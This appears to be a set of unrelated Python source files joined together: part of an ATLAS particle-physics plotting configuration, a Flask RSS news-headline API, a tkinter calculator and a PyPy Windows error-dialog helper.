                'Diboson': ("Diboson", 50, ROOT.kGray + 1, []),
                #'VH125': ("Vh", 49, ROOT.kRed - 6, []),
                'multijet': ("Multijet", 39, ROOT.kViolet-9, ["multijetMu", "multijetEl"]),
                'multijetEl': ("Multijet", 39, ROOT.kViolet-9, ["multijetMu", "multijet"]),
                'multijetMu': ("Multijet", 39, ROOT.kViolet-9, ["multijetEl", "multijet"])}
        # self.ATLAS_suffix = "Internal"
        # self.ATLAS_suffix = "Simulation"
        self.ATLAS_suffix = "Preliminary"
        # self.ATLAS_suffix = ""
        # for yields
        self.make_slides = False
        self.window = None
        self.priorities = {
        "data" : 80,
        "S/sqrt(S+B)" : 73,
        "S/B" : 72,
        "Bkg" : 60,
        "MC" : 75,
        "SignalExpected" : 71,
        "Signal" : 70,
        "VH125" : 57,
        "ZvvH125" : 67,
        "ggZvvH125" : 67,
        "qqZvvH125" : 67,
        "WlvH125" : 68,
        "ZllH125" : 69,
        "ggZllH125" : 69,
        "qqZllH125" : 69,
        "ZvvH150" : 67,
        "ggZvvH150" : 67,
        "qqZvvH150" : 67,
        "WlvH150" : 68,
        "ZllH150" : 69,
        "AZhllbb1200" : 70,
        "AZhvvbb1200" : 70,
        "AZhllbb1000" : 70,
        "AZhvvbb1000" : 70,
        "AZhllbb400" : 70,
        "AZhvvbb400" : 70,
        "AZhllbb300" : 70,
        "AZhvvbb300" : 70,
        "AZhllbb600" : 70,
        "AZhvvbb600" : 70,
        "bbAZhllbb600" : 70,
        "bbAZhvvbb600" : 70,
        "ggZllH150" : 69,
        "qqZllH150" : 69,
        "ttbar" : 45,
        "stops" : 43,
        "stopt" : 42,
        "stopst" : 41,
        "stopWt" : 40,
        "stop" : 40,
        "Zhf" : 27,
        "Zb" : 24,
        "Zbl" : 25,
        "Zbb" : 27,
        "Zbc" : 26,
        "Zc" : 21,
        "Zcl" : 100,
        "Zclbl" : 22,
        "Zcc" : 23,
        "Zl" : 20,
        "Whf" : 37,
        "Wb" : 34,
        "Wbl" : 35,
        "Wbb" : 37,
        "Wbc" : 36,
        "Wcc" : 33,
        "Wc" : 31,
        "Wcl" : 32,
        "Wl" : 30,
        "WZ" : 53,
        "ZZ" : 52,
        "VZ" : 51,
        "WW" : 50,
        "Diboson" : 50,
        "diboson" : 50,
        "multijet" : 45,
        "multijetEl" : 45,
        "multijetMu" : 45,
        "MJ0lep" : 45,
        "MJ1lep" : 45,
        "MJ2lep" : 45,
        "MJ2lepEl" : 45,
        "MJ1lepEl" : 45,
        "MJ1lepMu" : 45,
        }
        # for reduced diag plots only
        self.exclude_str = 'HiggsNorm'
        self.cov_classification = {
        "BTag": [False, ["SysFT_EFF_Eigen", "SysFT_EFF_extrapolation"], []],
        "Top": [False, ["SysWt", "SysTop", "SysTtbar", "SysMVH"], []],
        "ModelBoson": [False, ["SysVV", "SysWM","SysZM","SysWD","SysZD","SysWP","SysZP","SysVj"], []],
        "Norm": [False, ["Norm","Ratio"], []],
        "norm": [False, ["norm"], []],
        "Lepton": [False, ["SysMUON","SysEL","SysEG"], []],
        "Jet": [False, ["SysJET","FATJET"], []],
        "MET": [False, ["SysMET"], []],
        "LUMI": [False, ["LUMI"], []],
        "Shifted": [True, [], ["blablabla"]]
        }
        self.cov_special = {
        "noMCStat": [[], ["gamma"]],
        "JES": [["SigX", "norm_", "Jet"], []],
        "BTag": [["SigX", "norm_", "BTag"], []],
        "Mbb": [["SigX", "norm_", "Mbb"], []],
        "Modelling": [["SigX", "norm_", "Norm", "Ratio", "PtBi"], []],
        "SF": [["SigX", "norm_"], []],
        "Norm": [["3JNorm", "norm_", "Norm", "Ratio"], []]
        }
        self.syst_to_study = ["JetEResol", "Mbb_Whf", "V_Whf", "METScale", "TChanP",
        "ttbarHigh", "BJetReso", "ZblZbb", "BTagB1", "norm_Wbb", "WblWbbRatio"]
        self.suspicious_syst = ["norm_"]
        # for yield ratios only
        self.category_condenser = {
        # "_HistSyst": ["_Exp", False],
        # "_dist(mva|mjj)": ["_dist", False],
        # "_distMV1cBTag": ["_dist", False],
        "_distmV": ["_dist", False],
        # "_isMVA[01]": ["_isMVA", False],
        # "_B[0-5]_": ["_B9_", False],
        "_B(Max500_BMin0|BMin500)_": ["_Bresolvedmerged_", False],
        # "_TType(ll|mm|tt|xx)": ["_TType", False],
        "_T[012]": ["_Tx", False],
        "_(incJet1_J|incFat1_Fat|J)[1235]": ["_Jx", False],
        # "_Spc[0-9a-z]*top[a-z]*cr": ["_TType", False],
        # "(multijet)(.*_L)([0123])(.*)": [r'MJ\3lep\2\3\4', False],
        "_L[012]": ["_Lx", False],
        "_D(SR|topemucr)": ["_DallRegions", False],
        # "_W(bb|bl|bc|cc)_": ["_Whf_", True],
        # "_Z(bb|bl|bc|cc)_": ["_Zhf_", True]
        }

        logging.basicConfig(format='%(levelname)s in %(module)s: %(message)s', level=self.loggingLvl)

    def do_rebinning (self, prop):
        # NOTE: JWH - ED board requests
        if prop["dist"] == "mVH":
            if "mBBcr" in prop["D"] or "topemucr" in prop["D"]:
                if prop["L"] == "2" or prop["L"] == "0":
                    if prop.get("incFat", "-1") == "1" or prop.get("incJet", "-1") == "1":
                        return False
            if "SR" in prop["D"]:
                if prop["L"] == "2" or prop["L"] == "0":
                    if prop.get("incFat", "-1") == "1":
                        return False
                    if prop["L"] == "0":
                        return False
        return True

    def is_signal(self, compname):
        """ Check if a component is Higgs. If yes, return mass """
        # Spyros: Add ggA to list of signal names - has to be first in list otherwise we get problems
        signames = self.sig_names
        has_mass = False
        mass = ""
        # Spyros: if sg in compname matches also mVH so doesn't work for resonance analyses
        # remove mVH from compname
        compname = re.sub('mVH', '', compname)
        for sg in signames:
            if sg in compname:
                has_mass = True
                pos = compname.find(sg) + len(sg)
                mass = int(re.sub("[^0-9]", "", compname[pos:pos + compname[pos:].find('_')]))
                break
        return has_mass, mass

    def blind_data (self, setup):
        def _do_blinding (title):
            #return False, []
            return "T2" in title, [110, 140]

        do_blinding, blind_range = _do_blinding(setup.title)
        if do_blinding:
            # blind entire range
            if blind_range[0] == 0 and blind_range[1] == 0:
                blind_range[0] = setup.data.h.GetXaxis().GetXmin()
                blind_range[1] = setup.data.h.GetXaxis().GetXmax()
            setup.data.blind(blind_range[0], blind_range[1])
        #else:
        # # Add general blinding at 2% S/B
        # for i in range(1, setup.hsum.GetNbinsX()+1):
        #     if setup.hsum.GetBinContent(i) > 0:
        #         sob = setup.exp_sig.h.GetBinContent(i) / ( setup.hsum.GetBinContent(i) )
        #         if sob > 0.02:
        #             setup.data.blind(setup.hsum.GetBinLowEdge(i), setup.hsum.GetBinLowEdge(i+1))
        #     elif setup.exp_sig.h.GetBinContent(i) > 0:
        #         setup.data.blind(setup.hsum.GetBinLowEdge(i), setup.hsum.GetBinLowEdge(i+1))

    def preprocess_main_content_histogram (self, hist, setupMaker):
        return hist
        # def change_MeV_GeV(hist):
        #     if isinstance(hist, ROOT.TH1):
        #         new_hist = hist.Clone()
        #         bins = new_hist.GetXaxis().GetXbins()
        #         for i in range(bins.GetSize()):
        #             bins[i] /= 1000.
        #         new_hist.SetBins(bins.GetSize()-1, bins.GetArray())
        #         for i in range(new_hist.GetNbinsX()+2):
        #             new_hist.SetBinContent(i, hist.GetBinContent(i))
        #             new_hist.SetBinError(i, hist.GetBinError(i))
        #     elif isinstance(hist, ROOT.TGraph):
        #         new_hist = hist
        #         xbins = new_hist.GetX()
        #         for i in range(new_hist.GetN()):
        #             xbins[i] /= 1000.
        #         if isinstance(hist, ROOT.TGraphAsymmErrors):
        #             xbinsup = new_hist.GetEXhigh()
        #             xbinsdo = new_hist.GetEXlow()
        #             for i in range(new_hist.GetN()):
        #                 xbinsup[i] /= 1000.
        #                 xbinsdo[i] /= 1000.
        #     return new_hist
        #
        # new_hist = hist
        # props = sm.setup.properties
        # if props:
        #     # Changes for MeV/GeV
        #     affected_dists = ["MEff", "MEff3", "MET", "mLL", "mTW", "pTB1", "pTB2", "pTJ3", "pTV", "mBB", "mBBJ"]
        #     if props["L"] == "1" and props["dist"] in affected_dists:
        #         new_hist = change_MeV_GeV(hist)
        #
        # return new_hist

    def make_sum_plots (self, func):
        #add MET for 0 lepton merged+resolved signal region
        #add mBB for 0 mbbcr+SR
        for tag_i in ["1", "2"] :
                func("Region_BMax500_BMin0_incJet1_J2_T"+tag_i+"_L2_Y2015_distmBB_Dtopemucr",
                     rt=["_L2", "_T"+tag_i, "_distmBB", "_Dtopemucr"], ea=[])
                func("Region_BMax500_BMin0_incJet1_J2_T"+tag_i+"_L2_Y2015_distmBB",
                     rt=["_L2", "_T"+tag_i, "_distmBB"], ea=["_Dtopemucr"])
                func("Region_BMax500_BMin150_incJet1_J2_T"+tag_i+"_L0_Y2015_distmBB",
                     rt=["_L0", "_T"+tag_i, "_distmBB"], ea=[])
                func("Region_BMin150_T"+tag_i+"_L0_Y2015_distMET_DSR",
                     rt=["_L0","_T"+tag_i, "_distMET","_DSR"], ea=["_L2","_DmBBcr","_Dtopemucr"])
                func("Region_BMin0_T"+tag_i+"_L2_Y2015_distpTV_DSR",
                     rt=["_L2","_T"+tag_i, "_distpTV","_DSR"], ea=["_DmBBcr","_Dtopemucr"])

    def get_run_info (self):
        lumi = {}
        if self._year == "4023":
            lumi["2011"] = ["4.7", 7]
            lumi["2012"] = ["20.3", 8]
        if self._year == "2011":
            lumi["2011"] = ["4.7", 7]
        if self._year == "2012":
            lumi["2012"] = ["20.3", 8]
        if self._year == "2015":
            lumi["2015"] = ["3.2", 13]
        return lumi

    def get_title_height (self):
        return 3.5 if self._year == "4023" else 2

    def draw_category_ids (self, props, l, pos, nf):

        merged = False
        plural_jets = False
        nf += 0.25*nf # a bit more vertical spacing

        nleps = props.get("L", "-100")
        if nleps == '3':
            nleps = "0+1+2"
        njets = props.get("J", "-1")
        nincjets = props.get("incJet", "-1")
        if njets == "23":
            plural_jets = True
            njets = "2+3"
        elif nincjets == '1':
            plural_jets = True
            # njets += '+'
            njets = '#geq {}'.format(njets)
        elif int(njets) > 1:
            plural_jets = True
        nfatjets = props.get("Fat", "-1")
        nincfatjets = props.get("incFat", "-1")
        if int(nfatjets) > 0 and nincfatjets == '1':
            plural_jets = True
            merged = True
            # nfatjets += '+'
            nfatjets = '#geq {}'.format(nfatjets)
            # nfatjets += ' #leq'
        elif int(nfatjets) > 1:
            plural_jets = True
        ntags = props.get("T", "-100")

        region = ""
        if not nleps == '-100':
            if len(region) > 0:
                region += ', '
            region += "{} lep.".format(nleps)
        if not njets == '-1' or not nfatjets == '-1':
            if len(region) > 0:
                region += ', '
            region += "{} {}jet{}".format(nfatjets if merged else njets,
                                             "large-R " if merged else "",
                                             "s" if plural_jets else "")
        if not ntags == '-100':
            if len(region) > 0:
                region += ', '
            region += "{} tag{}".format(ntags,
                                        "s" if not int(ntags) == 1 else "")

        pTVBin = ""
        pTVmin = props.get("BMin", "-999")
        pTVmax = props.get("BMax", "-999")
        if not pTVmin == "-999" and pTVmax == "-999" and not pTVmin == "0":
            pTVBin = "{0} GeV #leq p_{{T}}^{{V}}".format(pTVmin)
        elif (pTVmin == "0" or pTVmin == "-999") and not pTVmax == "-999":
            pTVBin = "p_{{T}}^{{V}} < {0} GeV".format(pTVmax)
        elif not pTVmin == "-999" and not pTVmax == "-999":
            pTVBin = "{0} GeV #leq p_{{T}}^{{V}} < {1} GeV".format(pTVmin, pTVmax)

        signalControl = props.get("D", "")
        if not signalControl == "":
            def add_strings (base, addition):
                if base == "":
                    return addition
                else:
                    return base + ", " + addition
            temp = signalControl
            signalControl = ""
            reduce_SR_CR_mBB = props["dist"] == "pTV" or props["dist"] == "MET"
            if temp.find('SR') == 0:
                if reduce_SR_CR_mBB: signalControl = "m_{b#bar{b}} SR"
                elif merged: signalControl = add_strings(signalControl, "75 GeV #leq m_{b#bar{b}} < 145 GeV")
                else: signalControl = add_strings(signalControl, "110 GeV #leq m_{b#bar{b}} < 140 GeV")
                temp = temp[2:]
            if "highmBBcr" in temp:
                if reduce_SR_CR_mBB: signalControl = "m_{b#bar{b}} upper CR"
                elif merged: signalControl = add_strings(signalControl, "145 GeV #leq m_{b#bar{b}}")
                else: signalControl = add_strings(signalControl, "140 GeV #leq m_{b#bar{b}}")
                temp = temp.replace("highmBBcr", "")
            if "lowmBBcr" in temp:
                if reduce_SR_CR_mBB: signalControl = "m_{b#bar{b}} lower CR"
                elif merged: signalControl = add_strings(signalControl, "m_{b#bar{b}} < 75 GeV")
                else: signalControl = add_strings(signalControl, "m_{b#bar{b}} < 110 GeV")
                temp = temp.replace("lowmBBcr", "")
            if "mBBcr" in temp:
                if reduce_SR_CR_mBB: signalControl = "m_{b#bar{b}} CR"
                elif merged: signalControl = add_strings(signalControl, "m_{b#bar{b}} #leq 75 GeV, 145 GeV < m_{b#bar{b}}")
                else: signalControl = add_strings(signalControl, "m_{b#bar{b}} #leq 110 GeV, 140 GeV < m_{b#bar{b}}")
                temp = temp.replace("mBBcr", "")
            if "topemucr" in temp:
                signalControl = add_strings(signalControl, "e#mu")
                temp = temp.replace("topemucr", "")
            if "topaddbjetcr" in temp:
                signalControl = add_strings(signalControl, "+1 b-jet")
                temp = temp.replace("topaddbjetcr", "")

        pos_next = pos[1] - 0.1*nf # a bit more spacing

        l.DrawLatex(pos[0], pos_next, region)
        if not pTVBin == "":
            pos_next -= nf
            l.DrawLatex(pos[0], pos_next, pTVBin)
        if not signalControl == "":
            pos_next -= nf
            l.DrawLatex(pos[0], pos_next, signalControl)

        pos_next -= nf
        return (pos[0], pos_next)

    def force_mu_value (self):
        return self.force_mu

    def get_year_str (self):
        return self._year if int(self._year) < 2015 else ""

    def get_xbound_from_properties (self, prop):
        return (40, 400) if prop["dist"] == "pTB1" else None

    def get_legend_pos_from_properties (self, prop):
        result = None
        if prop["L"] == '0' and prop["dist"] == "VpT":
            result = [0.155, 0.13, 0.375, 0.65]
        if prop["dist"] == "dPhiVBB":
            result = [0.16, 0.16, 0.38, 0.68]
        return result

    def get_yscale_factor_from_properties (self, prop, logy):
        # if prop["dist"] == "MV1cB1" or prop["dist"] == "MV1cB2" or prop["dist"] == "MV1cBTag":
        #     if not logy: return 1.5
        # if prop["dist"] == "dPhiVBB" :
        #     if logy: return 5
        #     else : return 0.7
        # if prop["dist"] == "dPhiLBmin" :
        #     if not logy: return 1.3
        # if prop["dist"] == "mjj" :
        #     if not logy: return 1.1
        # if prop["dist"] == "dRBB" :
        #     if logy: return 500
        # if prop["dist"] == "MV1cBTag" :
        #     if not logy: return 0.75
        # if prop["L"] == "0" :
        #     if prop["dist"] == "MV1cB1" or prop["dist"] == "MV1cB2" or prop["dist"] == "mjj" :
        #         if not logy: return 1.1
        #     if prop["dist"] == "MET" :
        #         if not logy: return 1.0/1.15
        return 1.0

    def postprocess_main_content_histogram (self, prop, hist):
        # draw line denoting the transition of merged and resolved
        if prop["dist"] == "MET" or prop["dist"] == "pTV":
            max_value = hist.GetMaximum()
            min_value = 0#hist.GetYaxis().GetXmin()
            x_value = hist.GetXaxis().GetBinLowEdge(hist.GetXaxis().FindBin(500))
            l = ROOT.TLine(x_value, min_value, x_value, max_value)
            l.SetLineStyle(2)
            l.SetLineWidth(4)
            l.SetNDC(False)
            l.DrawLine(x_value, min_value, x_value, max_value)
            logging.debug("drawing line with endpoint coordinates ({},{}) and ({},{})".format(x_value, min_value, x_value, max_value))
        return hist

    def get_xTitle (self, prop, data_hist):
        """ get title of X-axis from properties """
        if not prop:
            return ""
        varname = prop["dist"]
        result = varname
        labels = {
            # new
            "MV1cB1": "MV1c(b_{1}) OP",
            "MV1cB2": "MV1c(b_{2}) OP",
            "MV1cBTag": "MV1c(b) OP",
            "dEtaBB": "#Delta#eta(b_{1},b_{2})",
            "dEtaVBB": "#Delta#eta(V,bb)",
            "dPhiLBmin": "#Delta#phi(lep,b)_{min}",
            "dPhiVBB": "#Delta#phi(V,bb)",
            "dRBB": "#DeltaR(b_{1},b_{2})",
            #"MEff": "M_{eff} [GeV]",
            #"MEff3": "M_{eff3} [GeV]",
            "MEff": "H_{T} [GeV]",
            "MEff3": "H_{T} [GeV]",
            "MET": "E_{T}^{miss} [GeV]",
            "mLL": "M_{ll} [GeV]",
            "mTW": "m_{T}(W) [GeV]",
            "mva": "BDT_{VH}",
            "mvaVZ": "BDT_{VZ}",
            "pTB1": "p_{T}(b_{1}) [GeV]",
            "pTB2": "p_{T}(b_{2}) [GeV]",
            "pTJ3": "p_{T}(j_{3}) [GeV]",
            "pTV": "p_{T}^{V} [GeV]",
            "VpT": "p_{T}^{V} [GeV]",
            "mVH": "m_{T}(Vh) [GeV]"
            }
        if "mjj" in varname:
            # nominal
            tmp_extra = ""
            tmp_extra2 = " [GeV]"
            # hack for mjj trafo D
            #tmp_extra = "Transformed "
            #tmp_extra2 = ""
            #
            if prop["T"] == "2":
                result = tmp_extra+"m_{bb}"+tmp_extra2
            elif prop["T"] == "1":
                result = tmp_extra+"m_{bj}"+tmp_extra2
            else:
                result = tmp_extra+"m_{jj}"+tmp_extra2
        elif "mBBJ" in varname:
            if prop["T"] == "2":
                result = "m_{bbj} [GeV]"
            elif prop["T"] == "1":
                result = "m_{bjj} [GeV]"
            else:
                result = "m_{jjj} [GeV]"
        elif "mBB" in varname:
            if prop["T"] == "2":
                result = "m_{bb} [GeV]"
            elif prop["T"] == "1":
                result = "m_{bj} [GeV]"
            else:
                result = "m_{jj} [GeV]"
        elif "mVH" in varname:
            if prop["L"] == "1" or prop["L"] == "0":
                result = "m_{T}(Vh) [GeV]"
            else:
                result = "m(Vh) [GeV]"
        elif varname in labels:
            result = labels[varname]
            #for k in labels:
                #if k in varname:
                    #return labels[k]
        return result

    def get_yTitle_tag (self, prop, data_hist):
        extra_unit = ""
        if prop["dist"] == "MEff" :  extra_unit = " GeV"
        if prop["dist"] == "MEff3" : extra_unit = " GeV"
        if prop["dist"] == "MET" :   extra_unit = " GeV"
        if prop["dist"] == "mLL" :   extra_unit = " GeV"
        if prop["dist"] == "mTW" :   extra_unit = " GeV"
        if prop["dist"] == "pTB1" :  extra_unit = " GeV"
        if prop["dist"] == "pTB2" :  extra_unit = " GeV"
        if prop["dist"] == "pTJ3" :  extra_unit = " GeV"
        if prop["dist"] == "pTV" :   extra_unit = " GeV"
        #if prop["dist"] == "VpT" :   extra_unit = " GeV" # new
        if prop["dist"] == "mjj" :   extra_unit = " GeV" # hack -> comment when trafoD
        if prop["dist"] == "mBB" :   extra_unit = " GeV"
        if prop["dist"] == "mBBJ" :  extra_unit = " GeV"
        if prop["dist"] == "mVH" :  extra_unit = " GeV"

        # NOTE: JWH - ED board requests
        if not self.do_rebinning(prop):
        # if not (prop["dist"] == "mVH" and prop.get("incFat", "-1") == "-1" and
        #     prop.get("D", "") == "SR" and prop.get("L", "0") == "2") :
            extra_number = str(data_hist.GetBinWidth(1))
            if not extra_number.find('.') == -1: extra_number = extra_number[:extra_number.find('.')]
            extra_unit = " " + extra_number + extra_unit

        y_ratio = round(data_hist.GetBinWidth(1), 2)
        if (y_ratio*10) % 10 == 0 and (y_ratio*100) % 100 == 0: y_ratio = int(y_ratio)
        if prop["dist"] == "VpT": extra_str = " / bin" # new
        elif prop["dist"] == "mVH":  extra_str = " /" + extra_unit
        else: extra_str = " / " + str(y_ratio) + extra_unit # new

        if prop["dist"] == "MV1cB1":   extra_str = ""
        if prop["dist"] == "MV1cB2":   extra_str = ""
        if prop["dist"] == "MV1cBTag": extra_str = ""

        return extra_str

    def set_y_range (self, hist, nlegend_items, miny, maxy, log_scale, prop):
        # if log_scale and prop["dist"] == "mVH":
        #     hist.SetMaximum(maxy * 100)
        #     hist.SetMinimum(0.001)
        #     return

        bottom_padding = 1.0/16.0
        content_faction = 4.0/7.0 if nlegend_items <= 8 else 3.0/7.0
        if prop["dist"] == "mVH":
            # figures 2)a-d in conf note
            if (prop["L"] == "0" or prop["L"] == "2") and log_scale:
                if prop["T"] == "1" or prop["T"] == "2":
                    if prop["D"] == "mBBcr":
                        if prop.get("BMax", "-999") == "500":
                            content_faction *= 1.25
            # figures 3)a,b in conf note
            if prop["D"] == "topemucr" and log_scale:
                if prop["T"] == "1":
                    content_faction *= 1.15
                if prop["T"] == "2":
                    content_faction *= 1.25
            if "SR" in prop["D"]:
                # figures 6)a-d in conf note
                if prop.get("BMax", "-999") == "500" and log_scale:
                    if prop["L"] == "0":
                        if prop["T"] == "1":
                            content_faction *= 1.15
                        if prop["T"] == "2":
                            content_faction *= 1.25
                    if prop["L"] == "2":
                        content_faction *= 1.25
                # figures 7)a,c,d in conf note
                if prop.get("BMin", "-999") == "500" and not log_scale:
                    if prop["L"] == "0":
                        if prop["T"] == "1":
                            content_faction *= 1.5
                    if prop["L"] == "2":
                        if prop["T"] == "1":
                            content_faction *= 2.15
                        if prop["T"] == "2":
                            content_faction *= 1.15
        # figures 4)a-d in conf note
        if prop["dist"] == "mBB" and not log_scale:
            if prop.get("BMax", "-999") == "500" and not (prop.get("D", "") == "topemucr"):
            # if prop["L"] == "0":
            #     if prop["T"] == "1":
                content_faction *= 1.5
            if prop.get("BMax", "-999") == "500" and prop.get("D", "") == "topemucr":
                content_faction *= 1.15
        # figures 10)a-d in conf note
        if (prop["dist"] == "MET" or prop["dist"] == "pTV") and log_scale:
            content_faction *= 1.25
        if not log_scale:
            if miny < 1e-6: miny = 0
            plot_scale = (maxy - miny)
            bottom = miny - bottom_padding*plot_scale
            top = bottom + plot_scale/content_faction

            # hist.SetMinimum(bottom)
            # hist.SetMaximum(top)

            hist.GetYaxis().SetLimits(bottom, top)

            # hist.GetHistogram().GetYaxis().SetRangeUser(bottom, top)
            logging.debug("setting plot y-range to ({0}, {1})".format(hist.GetHistogram().GetYaxis().GetXmin(), hist.GetHistogram().GetYaxis().GetXmax()))
            return
        else:
            log_miny = ROOT.TMath.Log10(miny)
            log_maxy = ROOT.TMath.Log10(maxy)
            plot_scale = (log_maxy - log_miny)
            # 0.25 is just fine tuning
            # bottom = log_miny - 0.25*bottom_padding*plot_scale
            bottom = log_miny
            top = bottom + plot_scale/content_faction

            # hist.SetMinimum(ROOT.TMath.Power(10, bottom))
            # hist.SetMaximum(ROOT.TMath.Power(10, top))

            hist.GetYaxis().SetLimits(ROOT.TMath.Power(10, bottom), ROOT.TMath.Power(10, top))

            # hist.GetHistogram().GetYaxis().SetRangeUser(ROOT.TMath.Power(10, bottom), ROOT.TMath.Power(10, top))
            logging.debug("setting log scale plot y-range to ({0}, {1})".format(hist.GetHistogram().GetYaxis().GetXmin(), hist.GetHistogram().GetYaxis().GetXmax()))
            return

        # if not log_scale and miny > 0:
        #     miny = 0
        # if log_scale and miny <= 1:
        #     miny = 0.25
        # mini = miny
        #
        # if mini < 0:
        #     hist.SetMinimum(mini*1.25)
        # else:
        #     mini = 0
        #     # fix 0 cut in the Y axis
        #     #hist.SetMinimum(0.01)
        # if log_scale:
        #     hist.SetMaximum(maxy * 100)
        #     hist.SetMinimum(miny / 2.5)
        # else:
        #     hist.SetMaximum(mini + (maxy - mini) * 1.5)

    def auto_compute_ratio_yscale_from_properties (self, prop):
        return (prop["dist"] == "mva" or prop["dist"] == "mvaVZ")

    def scale_all_yvals(self, prop):
        return prop["dist"] == "mva", 0.05

    def postprocess_dataMC_ratio_histogram (self, prop, hist):
        return hist

    def determine_year_from_title (self, title):
        if "2015" in title:
            return "2015"
        elif "2012" in title:
            return "2012"
        elif "2011" in title:
            return "2011"
        elif "both" in title:
            return "4023"

    def add_additional_signal_info_to_legend (self, legend, signal):
        if signal.mode == self._STACK:
            legend.AddEntry(ROOT.NULL, "m_{H}=" + str(signal.mass) + " GeV", "")
        else:
            legend.AddEntry(ROOT.NULL, "m_{H}=" + str(signal.mass) + " GeV", "")


from flask import Flask, jsonify, redirect
import feedparser

app = Flask(__name__)

# Function grabs the rss feed headlines (titles) and returns them as a list
def getHeadlines( rss_url ):
    headlines = []

    feed = feedparser.parse( rss_url )
    for newsitem in feed['items']:
        headlines.append(newsitem['title'])
        headlines.append(newsitem['link'])

    return headlines

@app.route('/', methods=['GET'])
def home():
    return '''
Welcome to News Feeder API

A prototype API for national and international news feed getter.
'''

@app.route('/resources/documentation', methods=['GET'])
def documentation():
    return redirect('https://app.swaggerhub.com/apis/daffaadevvv/NewsFeederAPI/1.0.0', code = 303)

@app.route('/resources/news/internasional', methods=['GET'])
def indexinter():

    # A list to hold all headlines
    allinterheadlines = []

    # List of RSS feeds that we will fetch and combine
    newsinturls = {
        'rtnews':           'https://www.rt.com/rss/',
        'googlenews':       'https://news.google.com/news/rss/?hl=en&ned=us&gl=US'
    }

    # Iterate over the feed urls
    for key,url in newsinturls.items():
        # Call getHeadlines() and combine the returned headlines with allheadlines
        allinterheadlines.extend( getHeadlines( url ) )

    print(allinterheadlines)

    return jsonify(allinterheadlines)

@app.route('/resources/news/dalamnegeri', methods=['GET'])
def indexnat():

    # A list to hold all headlines
    allnatheadlines = []

    # List of RSS feeds that we will fetch and combine
    newsnaturls = {
        'republikanews':    'https://www.republika.co.id/rss',
        'detiknews':        'http://rss.detik.com/index.php/detikcom'
    }

    # Iterate over the feed urls
    for key,url in newsnaturls.items():
        # Call getHeadlines() and combine the returned headlines with allheadlines
        allnatheadlines.extend( getHeadlines( url ) )

    print(allnatheadlines)

    return jsonify(allnatheadlines)

if __name__ == '__main__':
    app.run(debug = True)


#Simple Calculator using tkinter
#by saty035

from tkinter import*    #GUI toolkit

#entering numbers
def btnClick(numbers):
    global operator
    operator = operator + str(numbers)
    text_input.set(operator)

#Clearing the screen
def btnClearDisplay():
    global operator
    operator=''
    text_input.set("")

#resulting output
def btnEql():
    global operator
    sumup=str(eval(operator))
    text_input.set(sumup)
    operator=''

cal=Tk()
cal.title("Calculator by saty035")    #title
operator=""
text_input=StringVar()

#screen
txtDisplay=Entry(cal,font=('ariel',20,'bold'), textvariable=text_input,bd=30,insertwidth=4,bg='pink',justify='right').grid(columnspan=4)

#buttons and operators
btn7=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='7',command=lambda:btnClick(7),bg='powder blue').grid(row=1,column=0)
btn8=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='8',command=lambda:btnClick(8),bg='powder blue').grid(row=1,column=1)
btn9=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='9',command=lambda:btnClick(9),bg='powder blue').grid(row=1,column=2)

addition=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='+',command=lambda:btnClick('+'),bg='powder blue').grid(row=1,column=3)

btn4=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='4',command=lambda:btnClick(4),bg='powder blue').grid(row=2,column=0)
btn5=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='5',command=lambda:btnClick(5),bg='powder blue').grid(row=2,column=1)
btn6=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='6',command=lambda:btnClick(6),bg='powder blue').grid(row=2,column=2)

subtraction=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='-',command=lambda:btnClick('-'),bg='powder blue').grid(row=2,column=3)

btn1=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='1',command=lambda:btnClick(1),bg='powder blue').grid(row=3,column=0)
btn2=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='2',command=lambda:btnClick(2),bg='powder blue').grid(row=3,column=1)
btn3=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='3',command=lambda:btnClick(3),bg='powder blue').grid(row=3,column=2)

multiplication=Button(cal,padx=16,bd=8,fg='black',font=('ariel',20,'bold'),text='*',command=lambda:btnClick('*'),bg='powder blue').grid(row=3,column=3)

btn0=Button(cal,padx=16,pady=16,bd=8,fg='black',font=('ariel',20,'bold'),text='0',command=lambda:btnClick(0),bg='powder blue').grid(row=4,column=0)
clr=Button(cal,padx=16,pady=16,bd=8,fg='black',font=('ariel',20,'bold'),text='C',bg='powder blue',command=btnClearDisplay).grid(row=4,column=1)
eql=Button(cal,padx=16,pady=16,bd=8,fg='black',font=('ariel',20,'bold'),text='=',bg='powder blue',command=btnEql).grid(row=4,column=2)

division=Button(cal,padx=16,pady=16,bd=8,fg='black',font=('ariel',20,'bold'),text='/',command=lambda:btnClick('/'),bg='powder blue').grid(row=4,column=3)

#mainloop
cal.mainloop()


# for Windows only
import sys
from rpython.rlib import jit
from rpython.rtyper.lltypesystem import lltype, rffi
from rpython.translator.tool.cbuild import ExternalCompilationInfo

MESSAGEBOX = sys.platform == "win32"

MODULE = r"""
#include <Windows.h>
#pragma comment(lib, "user32.lib")

static void *volatile _cffi_bootstrap_text;

RPY_EXTERN int _cffi_errorbox1(void)
{
    return InterlockedCompareExchangePointer(&_cffi_bootstrap_text,
                                             (void *)1, NULL) == NULL;
}

static DWORD WINAPI _cffi_bootstrap_dialog(LPVOID ignored)
{
    Sleep(666);    /* may be interrupted if the whole process is closing */
    MessageBoxA(NULL, (char *)_cffi_bootstrap_text,
                "PyPy: Python-CFFI error",
                MB_OK | MB_ICONERROR);
    _cffi_bootstrap_text = NULL;
    return 0;
}

RPY_EXTERN void _cffi_errorbox(char *text)
{
    /* Show a dialog box, but in a background thread, and
       never show multiple dialog boxes at once. */
    HANDLE h;

    _cffi_bootstrap_text = text;
     h = CreateThread(NULL, 0, _cffi_bootstrap_dialog,
                      NULL, 0, NULL);
     if (h != NULL)
         CloseHandle(h);
}
"""

if MESSAGEBOX:

    eci = ExternalCompilationInfo(
            separate_module_sources=[MODULE],
            post_include_bits=["RPY_EXTERN int _cffi_errorbox1(void);\n"
                               "RPY_EXTERN void _cffi_errorbox(char *);\n"])

